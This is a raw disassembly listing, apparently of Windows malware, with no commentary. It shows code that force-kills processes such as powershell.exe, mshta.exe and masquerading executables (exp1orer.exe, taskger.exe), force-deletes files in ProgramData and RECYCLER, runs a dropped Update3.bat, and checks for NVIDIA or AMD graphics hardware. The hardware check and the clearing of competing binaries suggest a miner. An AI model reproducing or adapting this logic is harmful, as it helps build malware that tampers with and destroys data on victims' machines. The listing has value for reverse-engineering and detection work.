push str.N_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4376a7
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4376ba
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4376dd
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x437743
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437756
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437779
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, 0x4f3d93
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43785c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4f3d93
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4378c2
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4378d5
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4378f8
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43795e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437971
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437994
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4379fa
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437a0d
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437a30
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437a77
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437abe
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4ff1e1
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x437b3c
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437b4f
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437b72
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4ff1ed
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x437bd8
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437beb
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437c0e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.NVDIA_
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x437c74
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437c87
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437caa
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.AMD_
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x437d10
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x437d23
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437d46
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437d8d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskger.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437e0a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskger.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskger.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437ebd
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskger.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskger.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x437fa0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskmgzr.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43801d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskmgzr.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskmgzr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4380d0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskmgzr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskmgzr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_vget.vbs
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_vget.vbs
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_vget.vbs
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_vget.vbs
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4382bb
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438302
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.ftp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438349
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.fpp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438390
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.p.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4383d7
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDatawinsql.dat
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERwinsql.dat
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.ftp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43848a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.fpp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4384d1
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.p.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438518
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDatawinsql.dat
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERwinsql.dat
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 4], eax
push str.Update3.bat
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4385d9
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x4f3ede
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4385f8
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x4675b0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43861b
push ebx
call fcn.00465372
add esp, 4
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 4], eax
push str.Update3.bat
push dword [ebp - 4]
push 0x4fa738
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43865d
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x438688
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4386ab
push ebx
call fcn.00465372
add esp, 4
push 1
push 1
push 1
push 9
call fcn.00411bc3
push 0
mov ebx, 0x465970
call fcn.0046536c
add esp, 4
mov dword [ebp - 4], eax
push str.Update3.bat
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4386fb
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43870e
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438731
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.exp1orer.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438760
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_exp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataexp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Usersexp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERexp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:_RECYCLER_exp1orer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramDataexp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Usersexp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLERexp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:_RECYCLER_exp1orer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.expl0rer.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4389bd
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_expl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataexpl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Usersexpl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERexpl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:_RECYCLER_expl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramDataexpl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Usersexpl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLERexpl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:_RECYCLER_expl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.mshta.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438c1a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_mshta.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.powershell.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438caf
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_powershell.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
